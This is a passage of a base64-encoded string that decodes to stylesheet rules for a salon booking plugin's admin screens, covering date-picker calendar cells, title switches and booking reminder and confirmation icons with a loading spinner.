ZvbnQtc2l6ZTogMThweDtcbiAgICBsaW5lLWhlaWdodDogMDtcbiAgICBsaW5lLWhlaWdodDogMTtcbn1cblxuQG1lZGlhIHNjcmVlbiBhbmQgKC1tcy1oaWdoLWNvbnRyYXN0OiBhY3RpdmUpLCAoLW1zLWhpZ2gtY29udHJhc3Q6IG5vbmUpIHtcbiAgICAjc2xuLXNhbG9uLS1hZG1pblxuICAgICAgICAuc2xuLXNlbGVjdC1zcGVjaWZpYy1kYXRlcy1jYWxlbmRhclxuICAgICAgICAuc2xuX2RhdGVwaWNrZXJcbiAgICAgICAgLnByZXY6YmVmb3JlLFxuICAgIC5zbG4tZGF0ZXRpbWVwaWNrZXIgLnByZXY6YmVmb3JlLFxuICAgICNzbG4tc2Fsb24tLWFkbWluXG4gICAgICAgIC5zbG4tc2VsZWN0LXNwZWNpZmljLWRhdGVzLWNhbGVuZGFyXG4gICAgICAgIC5zbG5fZGF0ZXBpY2tlclxuICAgICAgICAubmV4dDpiZWZvcmUsXG4gICAgLnNsbi1kYXRldGltZXBpY2tlciAubmV4dDpiZWZvcmUge1xuICAgICAgICBmb250LWZhbWlseTogXCJNYXRlcmlhbCBJY29uc1wiO1xuICAgICAgICBmb250LXN0eWxlOiBub3JtYWw7XG4gICAgICAgIGZvbnQtd2VpZ2h0OiA0MDA7XG4gICAgICAgIGxpbmUtaGVpZ2h0OiAxO1xuICAgICAgICBsZXR0ZXItc3BhY2luZzogbm9ybWFsO1xuICAgICAgICB0ZXh0LXRyYW5zZm9ybTogbm9uZTtcbiAgICAgICAgZGlzcGxheTogaW5saW5lLWJsb2NrO1xuICAgICAgICB3aGl0ZS1zcGFjZTogbm93cmFwO1xuICAgICAgICB3b3JkLXdyYXA6IG5vcm1hbDtcbiAgICAgICAgZGlyZWN0aW9uOiBsdHI7XG4gICAgICAgIC13ZWJraXQtZm9udC1mZWF0dXJlLXNldHRpbmdzOiBcImxpZ2FcIjtcbiAgICAgICAgLXdlYmtpdC1mb250LXNtb290aGluZzogYW50aWFsaWFzZWQ7XG4gICAgICAgIGZvbnQtc2l6ZTogMThweDtcbiAgICAgICAgbGluZS1oZWlnaHQ6IDA7XG4gICAgfVxufVxuI3Nsbi1zYWxvbi0tYWRtaW4gLnNsbi1zZWxlY3Qtc3BlY2lmaWMtZGF0ZXMtY2FsZW5kYXIgLnNsbl9kYXRlcGlja2VyIC5wcmV2IGksXG4jc2xuLXNhbG9uLS1hZG1pbiAuc2xuLXNlbGVjdC1zcGVjaWZpYy1kYXRlcy1jYWxlbmRhciAuc2xuX2RhdGVwaWNrZXIgLm5leHQgaSxcbi5zbG4tZGF0ZXRpbWVwaWNrZXIgLnByZXYgaSxcbi5zbG4tZGF0ZXRpbWVwaWNrZXIgLm5leHQgaSB7XG4gICAgZGlzcGxheTogbm9uZTtcbn1cblxuI3Nsbi1zYWxvbi0tYWRtaW5cbiAgICAuc2xuLXNlbGVjdC1zcGVjaWZpYy1kYXRlcy1jYWxlbmRhclxuICAgIC5zbG5fZGF0ZXBpY2tlclxuICAgIC50YWJsZS1jb25kZW5zZWRcbiAgICB0aGVhZFxuICAgIC5wcmV2OmJlZm9yZSxcbi5zbG4tZGF0ZXRpbWVwaWNrZXIgLnByZXY6YmVmb3JlIHtcbiAgICBjb250ZW50OiBcImFycm93X2ZvcndhcmRcIjtcbiAgICB0cmFuc2Zvcm06IHJvdGF0ZSgxODBkZWcpO1xufVxuXG4jc2xuLXNhbG9uLS1hZG1pblxuICAgIC5zbG4tc2VsZWN0LXNwZWNpZmljLWRhdGVzLWNhbGVuZGFyXG4gICAgLnNsbl9kYXRlcGlja2VyXG4gICAgLnRhYmxlLWNvbmRlbnNlZFxuICAgIHRoZWFkXG4gICAgLm5leHQ6YmVmb3JlLFxuLnNsbi1kYXRldGltZXBpY2tlciAubmV4dDpiZWZvcmUge1xuICAgIGNvbnRlbnQ6IFwiYXJyb3dfZm9yd2FyZFwiO1xufVxuKi9cblxuI3Nsbi1zYWxvbi0tYWRtaW5cbiAgLnNsbi1zZWxlY3Qtc3BlY2lmaWMtZGF0ZXMtY2FsZW5kYXJcbiAgLnNsbl9kYXRlcGlja2VyXG4gIHRhYmxlXG4gIHRyXG4gIHRkLmRheTpub3QoLmRpc2FibGVkKSB7XG4gIGNvbG9yOiAjMTE4M2M0O1xufVxuXG4jc2xuLXNhbG9uLS1hZG1pblxuICAuc2xuLXNlbGVjdC1zcGVjaWZpYy1kYXRlcy1jYWxlbmRhclxuICAuc2xuX2RhdGVwaWNrZXJcbiAgdGFibGVcbiAgdHJcbiAgdGQuYWN0aXZlOmhvdmVyLFxuI3Nsbi1zYWxvbi0tYWRtaW5cbiAgLnNsbi1zZWxlY3Qtc3BlY2lmaWMtZGF0ZXMtY2FsZW5kYXJcbiAgLnNsbl9kYXRlcGlja2VyXG4gIHRhYmxlXG4gIHRyXG4gIHRkLmFjdGl2ZS5kaXNhYmxlZDpob3ZlcixcbiNzbG4tc2Fsb24tLWFkbWluXG4gIC5zbG4tc2VsZWN0LXNwZWNpZmljLWRhdGVzLWNhbGVuZGFyXG4gIC5zbG5fZGF0ZXBpY2tlclxuICB0YWJsZVxuICB0clxuICB0ZC5hY3RpdmU6YWN0aXZlLFxuI3Nsbi1zYWxvbi0tYWRtaW5cbiAgLnNsbi1zZWxlY3Qtc3BlY2lmaWMtZGF0ZXMtY2FsZW5kYXJcbiAgLnNsbl9kYXRlcGlja2VyXG4gIHRhYmxlXG4gIHRyXG4gIHRkLmFjdGl2ZTpob3ZlcjphY3RpdmUsXG4jc2xuLXNhbG9uLS1hZG1pblxuICAuc2xuLXNlbGVjdC1zcGVjaWZpYy1kYXRlcy1jYWxlbmRhclxuICAuc2xuX2RhdGVwaWNrZXJcbiAgdGFibGVcbiAgdHJcbiAgdGQuYWN0aXZlLmRpc2FibGVkOmFjdGl2ZSxcbiNzbG4tc2Fsb24tLWFkbWluXG4gIC5zbG4tc2VsZWN0LXNwZWNpZmljLWRhdGVzLWNhbGVuZGFyXG4gIC5zbG5fZGF0ZXBpY2tlclxuICB0YWJsZVxuICB0clxuICB0ZC5hY3RpdmUuZGlzYWJsZWQ6aG92ZXI6YWN0aXZlLFxuI3Nsbi1zYWxvbi0tYWRtaW5cbiAgLnNsbi1zZWxlY3Qtc3BlY2lmaWMtZGF0ZXMtY2FsZW5kYXJcbiAgLnNsbl9kYXRlcGlja2VyXG4gIHRhYmxlXG4gIHRyXG4gIHRkLmFjdGl2ZSxcbiNzbG4tc2Fsb24tLWFkbWluXG4gIC5zbG4tc2VsZWN0LXNwZWNpZmljLWRhdGVzLWNhbGVuZGFyXG4gIC5zbG5fZGF0ZXBpY2tlclxuICB0YWJsZVxuICB0clxuICB0ZC5hY3RpdmUuZGlzYWJsZWQsXG4jc2xuLXNhbG9uLS1hZG1pblxuICAuc2xuLXNlbGVjdC1zcGVjaWZpYy1kYXRlcy1jYWxlbmRhclxuICAuc2xuX2RhdGVwaWNrZXJcbiAgdGFibGVcbiAgdHJcbiAgdGQuYWN0aXZlW2Rpc2FibGVkXSxcbiNzbG4tc2Fsb24tLWFkbWluXG4gIC5zbG4tc2VsZWN0LXNwZWNpZmljLWRhdGVzLWNhbGVuZGFyXG4gIC5zbG5fZGF0ZXBpY2tlclxuICB0YWJsZVxuICB0clxuICB0ZC5hY3RpdmU6aG92ZXJbZGlzYWJsZWRdLFxuI3Nsbi1zYWxvbi0tYWRtaW5cbiAgLnNsbi1zZWxlY3Qtc3BlY2lmaWMtZGF0ZXMtY2FsZW5kYXJcbiAgLnNsbl9kYXRlcGlja2VyXG4gIHRhYmxlXG4gIHRyXG4gIHRkLmFjdGl2ZS5kaXNhYmxlZFtkaXNhYmxlZF0sXG4jc2xuLXNhbG9uLS1hZG1pblxuICAuc2xuLXNlbGVjdC1zcGVjaWZpYy1kYXRlcy1jYWxlbmRhclxuICAuc2xuX2RhdGVwaWNrZXJcbiAgdGFibGVcbiAgdHJcbiAgdGQuYWN0aXZlLmRpc2FibGVkOmhvdmVyW2Rpc2FibGVkXSB7XG4gIGJhY2tncm91bmQtY29sb3I6ICMwMDQyNTg7XG59XG5cbiNzbG4tc2Fsb24tLWFkbWluXG4gIC5zbG4tc2VsZWN0LXNwZWNpZmljLWRhdGVzLWNhbGVuZGFyXG4gIC5zbG5fZGF0ZXBpY2tlclxuICB0YWJsZVxuICB0clxuICB0ZC5kYXlcbiAgOm5vdCguZGlzYWJsZWQpIHtcbiAgYm9yZGVyLWNvbG9yOiAjMTE4M2M0O1xufVxuXG4jc2xuLXNhbG9uLS1hZG1pblxuICAuc2xuLXNlbGVjdC1zcGVjaWZpYy1kYXRlcy1jYWxlbmRhclxuICAuc2xuX2RhdGVwaWNrZXJcbiAgdGFibGVcbiAgdHJcbiAgdGgge1xuICB0ZXh0LWFsaWduOiBjZW50ZXI7XG4gIGxpbmUtaGVpZ2h0OiAxO1xufVxuXG4jc2xuLXNhbG9uLS1hZG1pbiAuc2xuLXNlbGVjdC1zcGVjaWZpYy1kYXRlcy1jYWxlbmRhciAuc2xuX2RhdGVwaWNrZXIge1xuICB3aWR0aDogMTAwJTtcbiAgYmFja2dyb3VuZC1jb2xvcjogI2VmZWZlZjtcbn1cbiNzbG4tc2Fsb24tLWFkbWluXG4gIC5zbG4tc2VsZWN0LXNwZWNpZmljLWRhdGVzLWNhbGVuZGFyXG4gIC5zbG5fZGF0ZXBpY2tlclxuICAudGFibGUtY29uZGVuc2VkIHtcbiAgYm9yZGVyLXNwYWNpbmc6IDVweDtcbiAgYm9yZGVyLWNvbGxhcHNlOiBzZXBhcmF0ZTtcbiAgdGFibGUtbGF5b3V0OiBmaXhlZDtcbn1cbiNzbG4tc2Fsb24tLWFkbWluXG4gIC5zbG4tc2VsZWN0LXNwZWNpZmljLWRhdGVzLWNhbGVuZGFyXG4gIC5zbG5fZGF0ZXBpY2tlclxuICAudGFibGUtY29uZGVuc2VkXG4gIHRoZWFkXG4gIHRyXG4gIHRoLFxuI3Nsbi1zYWxvbi0tYWRtaW5cbiAgLnNsbi1zZWxlY3Qtc3BlY2lmaWMtZGF0ZXMtY2FsZW5kYXJcbiAgLnNsbl9kYXRlcGlja2VyXG4gIC50YWJsZS1jb25kZW5zZWRcbiAgdGhlYWRcbiAgdHJcbiAgdGQsXG4jc2xuLXNhbG9uLS1hZG1pblxuICAuc2xuLXNlbGVjdC1zcGVjaWZpYy1kYXRlcy1jYWxlbmRhclxuICAuc2xuX2RhdGVwaWNrZXJcbiAgLnRhYmxlLWNvbmRlbnNlZFxuICB0Ym9keVxuICB0clxuICB0aCxcbiNzbG4tc2Fsb24tLWFkbWluXG4gIC5zbG4tc2VsZWN0LXNwZWNpZmljLWRhdGVzLWNhbGVuZGFyXG4gIC5zbG5fZGF0ZXBpY2tlclxuICAudGFibGUtY29uZGVuc2VkXG4gIHRib2R5XG4gIHRyXG4gIHRkIHtcbiAgd2lkdGg6IHVuc2V0O1xuICBtYXgtd2lkdGg6IHVuc2V0O1xuICBoZWlnaHQ6IHVuc2V0O1xuICBib3JkZXI6IG5vbmU7XG4gIGJvcmRlci1yYWRpdXM6IDUwJTtcbiAgcG9zaXRpb246IHJlbGF0aXZlO1xuICB2ZXJ0aWNhbC1hbGlnbjogbWlkZGxlO1xufVxuI3Nsbi1zYWxvbi0tYWRtaW5cbiAgLnNsbi1zZWxlY3Qtc3BlY2lmaWMtZGF0ZXMtY2FsZW5kYXJcbiAgLnNsbl9kYXRlcGlja2VyXG4gIC50YWJsZS1jb25kZW5zZWRcbiAgdGhlYWRcbiAgdHJcbiAgdGhcbiAgLm51bSxcbiNzbG4tc2Fsb24tLWFkbWluXG4gIC5zbG4tc2VsZWN0LXNwZWNpZmljLWRhdGVzLWNhbGVuZGFyXG4gIC5zbG5fZGF0ZXBpY2tlclxuICAudGFibGUtY29uZGVuc2VkXG4gIHRoZWFkXG4gIHRyXG4gIHRkXG4gIC5udW0ge1xuICBkaXNwbGF5OiBmbGV4O1xuICBhbGlnbi1pdGVtczogY2VudGVyO1xuICBqdXN0aWZ5LWNvbnRlbnQ6IGNlbnRlcjtcbiAgcG9zaXRpb246IGFic29sdXRlO1xuICB0b3A6IDA7XG4gIHJpZ2h0OiAwO1xuICBib3R0b206IDA7XG4gIGxlZnQ6IDA7XG59XG4jc2xuLXNhbG9uLS1hZG1pblxuICAuc2xuLXNlbGVjdC1zcGVjaWZpYy1kYXRlcy1jYWxlbmRhclxuICAuc2xuX2RhdGVwaWNrZXJcbiAgLnRhYmxlLWNvbmRlbnNlZFxuICB0aGVhZFxuICB0clxuICB0aFxuICAubnVtYmcsXG4jc2xuLXNhbG9uLS1hZG1pblxuICAuc2xuLXNlbGVjdC1zcGVjaWZpYy1kYXRlcy1jYWxlbmRhclxuICAuc2xuX2RhdGVwaWNrZXJcbiAgLnRhYmxlLWNvbmRlbnNlZFxuICB0aGVhZFxuICB0clxuICB0ZFxuICAubnVtYmcge1xuICBwYWRkaW5nLWJvdHRvbTogMTAwJTtcbn1cbiNzbG4tc2Fsb24tLWFkbWluXG4gIC5zbG4tc2VsZWN0LXNwZWNpZmljLWRhdGVzLWNhbGVuZGFyXG4gIC5zbG5fZGF0ZXBpY2tlclxuICAudGFibGUtY29uZGVuc2VkXG4gIHRoZWFkXG4gIHRoIHtcbiAgZm9udC1zaXplOiAxZW07XG59XG4jc2xuLXNhbG9uLS1hZG1pblxuICAuc2xuLXNlbGVjdC1zcGVjaWZpYy1kYXRlcy1jYWxlbmRhclxuICAuc2xuX2RhdGVwaWNrZXJcbiAgLnRhYmxlLWNvbmRlbnNlZFxuICB0aGVhZFxuICB0aDpub3QoLm5leHQpOm5vdCgucHJldikge1xuICBjb2xvcjogIzRiNGI0Yjtcbn1cblxuI3Nsbi1zYWxvbi0tYWRtaW5cbiAgLnNsbi1zZWxlY3Qtc3BlY2lmaWMtZGF0ZXMtY2FsZW5kYXJcbiAgLnNsbl9kYXRlcGlja2VyXG4gIC50YWJsZS1jb25kZW5zZWRcbiAgdGJvZHlcbiAgdHJcbiAgdGgsXG4jc2xuLXNhbG9uLS1hZG1pblxuICAuc2xuLXNlbGVjdC1zcGVjaWZpYy1kYXRlcy1jYWxlbmRhclxuICAuc2xuX2RhdGVwaWNrZXJcbiAgLnRhYmxlLWNvbmRlbnNlZFxuICB0Ym9keVxuICB0clxuICB0ZFxuICAubnVtIHtcbiAgd2lkdGg6IDEwMCU7XG4gIGxpbmUtaGVpZ2h0OiAyMHB4O1xufVxuXG4jc2xuLXNhbG9uLS1hZG1pbiAuc2xuLXRpdGxlLXdyYXBwZXIge1xuICBkaXNwbGF5OiBmbGV4O1xuICBhbGlnbi1pdGVtczogY2VudGVyO1xuICBqdXN0aWZ5LWNvbnRlbnQ6IHNwYWNlLWJldHdlZW47XG4gIG1hcmdpbjogMWVtIDA7XG59XG4jc2xuLXNhbG9uLS1hZG1pbiAuc2xuLXRpdGxlLXdyYXBwZXIgLnNsbi1zd2l0Y2gge1xuICBtYXJnaW4tYm90dG9tOiAwO1xufVxuI3Nsbi1zYWxvbi0tYWRtaW4gLnNsbi10aXRsZS13cmFwcGVyIGgzIHtcbiAgbWFyZ2luLWJvdHRvbTogMDtcbn1cblxuI3Nsbi1zYWxvbi0tYWRtaW4gLnNsbi1zZWxlY3Qtc3BlY2lmaWMtZGF0ZXMtY2FsZW5kYXIge1xuICBtYXJnaW4tYm90dG9tOiAxLjY2NjY3cmVtO1xufVxuXG4vLyNzbG4tc2Fsb24tLWFkbWluIC5zbG4tZGlzcGxheS1zbG90cy1jdXN0b21lcnMtdGltZXpvbmUge1xuLy9tYXJnaW4tdG9wOiAxMnB4O1xuLy99XG5cbi8vI3Nsbi1zYWxvbi0tYWRtaW4gLnNsbi1kaXNwbGF5LXNsb3RzLWN1c3RvbWVycy10aW1lem9uZSB7XG4vLyAgbWFyZ2luLXRvcDogMTJweDtcbi8vfVxuXG4jc2xuLXNhbG9uLS1hZG1pbiAuc2xuLWRpc2FibGVkIHtcbiAgb3BhY2l0eTogMC41O1xuICBwb2ludGVyLWV2ZW50czogbm9uZTtcbn1cblxuI3Nsbi1zYWxvbi0tYWRtaW4gLnNsbi1kaXNhYmxlZC1mcmVlLXZlcnNpb24ge1xuICBmb250LXNpemU6IDEycHg7XG4gIHBvc2l0aW9uOiByZWxhdGl2ZTtcbiAgcGFkZGluZy1sZWZ0OiAzNXB4O1xufVxuXG4vLyNzbG4tc2Fsb24tLWFkbWluXG4vLyAgLnNsbi1kaXNwbGF5LXNsb3RzLWN1c3RvbWVycy10aW1lem9uZVxuLy8gIC5zbG4tZGlzYWJsZWQtZnJlZS12ZXJzaW9uIHtcbi8vICBtYXJnaW4tdG9wOiAxMHB4O1xuLy99XG4vKiBGSVggMDkyMDIzXG4jc2xuLXNhbG9uLS1hZG1pbiAuc2xuLWRpc2FibGVkLWZyZWUtdmVyc2lvbjpiZWZvcmUge1xuICAgIGZvbnQtZmFtaWx5OiBcIk1hdGVyaWFsIEljb25zXCI7XG4gICAgZm9udC1zdHlsZTogbm9ybWFsO1xuICAgIGZvbnQtd2VpZ2h0OiA0MDA7XG4gICAgbGluZS1oZWlnaHQ6IDE7XG4gICAgbGV0dGVyLXNwYWNpbmc6IG5vcm1hbDtcbiAgICB0ZXh0LXRyYW5zZm9ybTogbm9uZTtcbiAgICBkaXNwbGF5OiBpbmxpbmUtYmxvY2s7XG4gICAgd2hpdGUtc3BhY2U6IG5vd3JhcDtcbiAgICB3b3JkLXdyYXA6IG5vcm1hbDtcbiAgICBkaXJlY3Rpb246IGx0cjtcbiAgICAtd2Via2l0LWZvbnQtZmVhdHVyZS1zZXR0aW5nczogXCJsaWdhXCI7XG4gICAgLXdlYmtpdC1mb250LXNtb290aGluZzogYW50aWFsaWFzZWQ7XG4gICAgZm9udC1zaXplOiAxLjVlbTtcbiAgICBsaW5lLWhlaWdodDogMDtcbiAgICBkaXNwbGF5OiBpbmxpbmUtYmxvY2s7XG4gICAgY29udGVudDogXCJsb2NrXCI7XG4gICAgcG9zaXRpb246IGFic29sdXRlO1xuICAgIHRvcDogNTAlO1xuICAgIGxlZnQ6IDEwcHg7XG4gICAgZm9udC1zdHlsZTogbm9ybWFsO1xuICAgIC13ZWJraXQtZm9udC1zbW9vdGhpbmc6IGFudGlhbGlhc2VkO1xuICAgIC1tb3otb3N4LWZvbnQtc21vb3RoaW5nOiBncmF5c2NhbGU7XG4gICAgYm9yZGVyLXJhZGl1czogNTAlO1xufVxuXG4uc2xuLWJvb2tpbmctcmVtaW5kZXI6YmVmb3JlIHtcbiAgICBmb250LWZhbWlseTogXCJNYXRlcmlhbCBJY29uc1wiO1xuICAgIGZvbnQtc3R5bGU6IG5vcm1hbDtcbiAgICBmb250LXdlaWdodDogNDAwO1xuICAgIGxpbmUtaGVpZ2h0OiAxO1xuICAgIGxldHRlci1zcGFjaW5nOiBub3JtYWw7XG4gICAgdGV4dC10cmFuc2Zvcm06IG5vbmU7XG4gICAgZGlzcGxheTogaW5saW5lLWJsb2NrO1xuICAgIHdoaXRlLXNwYWNlOiBub3dyYXA7XG4gICAgd29yZC13cmFwOiBub3JtYWw7XG4gICAgZGlyZWN0aW9uOiBsdHI7XG4gICAgLXdlYmtpdC1mb250LWZlYXR1cmUtc2V0dGluZ3M6IFwibGlnYVwiO1xuICAgIC13ZWJraXQtZm9udC1zbW9vdGhpbmc6IGFudGlhbGlhc2VkO1xuICAgIGZvbnQtc2l6ZTogMS41ZW07XG4gICAgbGluZS1oZWlnaHQ6IDA7XG4gICAgZGlzcGxheTogaW5saW5lLWJsb2NrO1xuICAgIHBvc2l0aW9uOiBhYnNvbHV0ZTtcbiAgICB0b3A6IDUwJTtcbiAgICBsZWZ0OiAwcHg7XG4gICAgZm9udC1zdHlsZTogbm9ybWFsO1xuICAgIC13ZWJraXQtZm9udC1zbW9vdGhpbmc6IGFudGlhbGlhc2VkO1xuICAgIC1tb3otb3N4LWZvbnQtc21vb3RoaW5nOiBncmF5c2NhbGU7XG4gICAgYm9yZGVyLXJhZGl1czogNTAlO1xufVxuXG4uc2xuLWJvb2tpbmctcmVtaW5kZXItc21zOmJlZm9yZSB7XG4gICAgY29udGVudDogXCJzbXNcIjtcbiAgICBtYXJnaW4tdG9wOiAxcHg7XG59XG5cbi5zbG4tYm9va2luZy1yZW1pbmRlci1lbWFpbDpiZWZvcmUge1xuICAgIGNvbnRlbnQ6IFwiZW1haWxcIjtcbn1cblxuLnNsbi1ib29raW5nLXJlbWluZGVyLWF3YWl0IHtcbiAgICBjb2xvcjogb3JhbmdlO1xufVxuXG4uc2xuLWJvb2tpbmctcmVtaW5kZXItZXJyb3I6YmVmb3JlIHtcbiAgICBjb2xvcjogcmVkO1xufVxuXG4uc2xuLWJvb2tpbmctcmVtaW5kZXItc3VjY2VzczpiZWZvcmUge1xuICAgIGNvbG9yOiBncmVlbjtcbn1cbiovXG4uc2xuLWJvb2tpbmctcmVtaW5kZXIge1xuICBwb3NpdGlvbjogcmVsYXRpdmU7XG4gIHBhZGRpbmctbGVmdDogMjVweDtcbn1cblxuLnNsbi1ib29raW5nLXJlbWluZGVyIHtcbiAgcG9zaXRpb246IHJlbGF0aXZlO1xuICBjdXJzb3I6IHBvaW50ZXI7XG4gIHRvcDogMDtcbiAgdHJhbnNpdGlvbjogdG9wIGVhc2UgMC41cztcbn1cblxuLnNsbi1ib29raW5nLXJlbWluZGVyOmhvdmVyIHtcbiAgdG9wOiAtM3B4O1xufVxuLyogRklYIDA5MjAyM1xuLnNsbi1ib29raW5nLWNvbmZpcm1hdGlvbiAuc2xuLWJvb2tpbmctY29uZmlybWF0aW9uLXN1Y2Nlc3M6YmVmb3JlIHtcbiAgICBmb250LWZhbWlseTogXCJNYXRlcmlhbCBJY29uc1wiO1xuICAgIGZvbnQtd2VpZ2h0OiA0MDA7XG4gICAgbGluZS1oZWlnaHQ6IDE7XG4gICAgbGV0dGVyLXNwYWNpbmc6IG5vcm1hbDtcbiAgICB0ZXh0LXRyYW5zZm9ybTogbm9uZTtcbiAgICB3aGl0ZS1zcGFjZTogbm93cmFwO1xuICAgIHdvcmQtd3JhcDogbm9ybWFsO1xuICAgIGRpcmVjdGlvbjogbHRyO1xuICAgIC13ZWJraXQtZm9udC1mZWF0dXJlLXNldHRpbmdzOiBcImxpZ2FcIjtcbiAgICBmb250LXNpemU6IDI0cHg7XG4gICAgbGluZS1oZWlnaHQ6IDA7XG4gICAgZGlzcGxheTogaW5saW5lLWJsb2NrO1xuICAgIGNvbnRlbnQ6IFwiY2hlY2tfY2lyY2xlXCI7XG4gICAgcG9zaXRpb246IGFic29sdXRlO1xuICAgIHRvcDogNTAlO1xuICAgIGxlZnQ6IDBweDtcbiAgICBmb250LXN0eWxlOiBub3JtYWw7XG4gICAgLXdlYmtpdC1mb250LXNtb290aGluZzogYW50aWFsaWFzZWQ7XG4gICAgLW1vei1vc3gtZm9udC1zbW9vdGhpbmc6IGdyYXlzY2FsZTtcbiAgICBib3JkZXItcmFkaXVzOiA1MCU7XG4gICAgY29sb3I6ICM1Y2I4NWM7XG59XG5cbi5zbG4tYm9va2luZy1jb25maXJtYXRpb24gLnNsbi1ib29raW5nLWNvbmZpcm1hdGlvbi1lcnJvcjpiZWZvcmUge1xuICAgIGZvbnQtZmFtaWx5OiBcIk1hdGVyaWFsIEljb25zXCI7XG4gICAgZm9udC13ZWlnaHQ6IDQwMDtcbiAgICBsaW5lLWhlaWdodDogMTtcbiAgICBsZXR0ZXItc3BhY2luZzogbm9ybWFsO1xuICAgIHRleHQtdHJhbnNmb3JtOiBub25lO1xuICAgIHdoaXRlLXNwYWNlOiBub3dyYXA7XG4gICAgd29yZC13cmFwOiBub3JtYWw7XG4gICAgZGlyZWN0aW9uOiBsdHI7XG4gICAgLXdlYmtpdC1mb250LWZlYXR1cmUtc2V0dGluZ3M6IFwibGlnYVwiO1xuICAgIGZvbnQtc2l6ZTogMjRweDtcbiAgICBsaW5lLWhlaWdodDogMDtcbiAgICBkaXNwbGF5OiBpbmxpbmUtYmxvY2s7XG4gICAgY29udGVudDogXCJjYW5jZWxcIjtcbiAgICBwb3NpdGlvbjogYWJzb2x1dGU7XG4gICAgdG9wOiA1MCU7XG4gICAgbGVmdDogMHB4O1xuICAgIGZvbnQtc3R5bGU6IG5vcm1hbDtcbiAgICAtd2Via2l0LWZvbnQtc21vb3RoaW5nOiBhbnRpYWxpYXNlZDtcbiAgICAtbW96LW9zeC1mb250LXNtb290aGluZzogZ3JheXNjYWxlO1xuICAgIGJvcmRlci1yYWRpdXM6IDUwJTtcbiAgICBjb2xvcjogI2M5MzAyYztcbn1cbiovXG4uc2xuLWJvb2tpbmctY29uZmlybWF0aW9uIC5zbG4tYm9va2luZy1jb25maXJtYXRpb24tc3VjY2Vzcyxcbi5zbG4tYm9va2luZy1jb25maXJtYXRpb24gLnNsbi1ib29raW5nLWNvbmZpcm1hdGlvbi1lcnJvciB7XG4gIHBvc2l0aW9uOiByZWxhdGl2ZTtcbiAgd2lkdGg6IDIwcHg7XG4gIGhlaWdodDogMjBweDtcbiAgY3Vyc29yOiBwb2ludGVyO1xufVxuXG4uc2xuLWJvb2tpbmctY29uZmlybWF0aW9uIHtcbiAgZGlzcGxheTogZmxleDtcbn1cblxuLnNsbi1ib29raW5nLWNvbmZpcm1hdGlvbiAuc2xuLWJvb2tpbmctY29uZmlybWF0aW9uLXN1Y2Nlc3Mge1xuICBtYXJnaW4tcmlnaHQ6IDEwcHg7XG59XG5cbi5zbG4tYm9va2luZy1jb25maXJtYXRpb24ubG9hZGluZyAuc2xuLWJvb2tpbmctY29uZmlybWF0aW9uLXN1Y2Nlc3MsXG4uc2xuLWJvb2tpbmctY29uZmlybWF0aW9uLmxvYWRpbmcgLnNsbi1ib29raW5nLWNvbmZpcm1hdGlvbi1lcnJvciB7XG4gIGRpc3BsYXk6IG5vbmU7XG59XG5cbi5zbG4tYm9va2luZy1jb25maXJtYXRpb24ubG9hZGluZ1xuICAuc2xuLWJvb2tpbmctY29uZmlybWF0aW9uLWFsZXJ0LWxvYWRpbmc6OmJlZm9yZSB7XG4gIGRpc3BsYXk6IGlubGluZS1ibG9jaztcbiAgY29udGVudDogJyc7XG4gIHdpZHRoOiAxLjI1cmVtO1xuICBoZWlnaHQ6IDEuMjVyZW07XG4gIGJvcmRlcjogM3B4IHNvbGlkICM2ODk2YmM7XG4gIGJvcmRlci1yYWRpdXM6IDUwJTtcbiAgYm9yZGVyLXJpZ2h0LWNvbG9yOiB0cmFuc3BhcmVudDtcbiAgLXdlYmtpdC10cmFuc2Zvcm06IHRyYW5zbGF0ZVooMCk7XG4gIC1tcy10cmFuc2Zvcm06IHRyYW5zbGF0ZVooMCk7XG4gIHRyYW5zZm9ybTogdHJhbnNsYXRlWigwKTtcbiAgLXdlYmtpdC1hbmltYXRpb246IGxvYWQ4IDEuMXMgaW5maW5pdGUgbGluZWFyO1xuICBhbmltYXRpb246IGxvYWQ4IDEuMXMgaW5maW5pdGUgbGluZWFyO1xuICBwb3NpdGlvbjogYWJzb2x1dGU7XG4gIGxlZnQ6IDA7XG59XG5cbi5zbG4tYm9va2luZy1jb25maXJtYXRpb24ubG9hZGluZyAuc2xuLWJvb2tpbmctY29uZmlybWF0aW9uLWFsZXJ0LWxvYWRpbmcge1xuICBwb3NpdGlvbjogcmVsYXRpdmU7XG4gIHBhZGRpbmctbGVmdDogMjVweDtcbiAgZm9udC13ZWlnaHQ6IGJvbGQ7XG59XG5cbi5zbG4tYm9va2luZy1jb25maXJtYXRpb24ubG9hZGluZ1xuICAuc2xuLWJvb2tpbmctY29uZmlybWF0aW9uLWFsZXJ0LWxvYWRpbmcuc3VjY2VzcyB7XG4gIGNvbG9yOiAjNWNiODVjO1xufVxuXG4uc2xuLWJvb2tpbmctY29uZmlybWF0aW9uLmxvYWRpbmdcbiAgLnNsbi1ib29raW5nLWNvbmZpcm1hdGlvbi1hbGVydC1sb2FkaW5nLmRhbmdlciB7XG4gIGNvbG9yOiAjYzkzMDJjO1xufVxuXG4uYm9va2luZ19hY3Rpb25zIHtcbiAgaGVpZ2h0OiAyNHB4O1xufVxuXG4uc2xuLWJvb2tpbmctY29uZmlybWF0aW9uLnNsbi1ib29raW5nLWNvbmZpcm1hdGlvbi1kaXNhYmxlZFxuICAuc2xuLWJvb2tpbmctY29uZmlybWF0aW9uLXN1Y2Nlc3M6YmVmb3JlLFxuLnNsbi1ib29raW5nLWNvbmZpcm1hdGlvbi5zbG4tYm9va2luZy1jb25maXJtYXRpb24tZGlzYWJsZWRcbiAgLnNsbi1ib29raW5nLWNvbmZpcm1hdGlvbi1lcnJvcjpiZWZvcmUge1xuICBjb2xvcjogI2NjYztcbiAgY3Vyc29yOiBub3QtYWxsb3dlZDtcbn1cblxuLnNsbi1ib29raW5nLWNvbmZpcm1hdGlvbiB7XG4gIHBvc2l0aW9uOiByZWxhdGl2ZTtcbn1cblxuLnNsbi1ib29raW5nLWNvbmZpcm1hdGlvbi10b29sdGlwIHtcbiAgcG9zaXRpb246IGFic29sdXRlO1xuICB0b3A6IC00NXB4O1xuICByaWdodDogMTAlO1xuICB6LWluZGV4OiAxMDA7XG4gIGJhY2tncm91bmQ6ICMwMTM1NTM7XG4gIGNvbG9yOiB3aGl0ZTtcbiAgcGFkZGluZzogMTBweDtcbiAgYm9yZGVyLXJhZGl1czogNHB4O1xuICB3aGl0ZS1zcGFjZTogbm93cmFwO1xuICBkaXNwbGF5OiBub25lO1xufVxuXG4uc2xuLWJvb2tpbmctY29uZmlybWF0aW9uLXRvb2x0aXAgYSB7XG4gIGNvbG9yOiB3aGl0ZTtcbn1cblxuLnNsbi1ib29raW5nLWNvb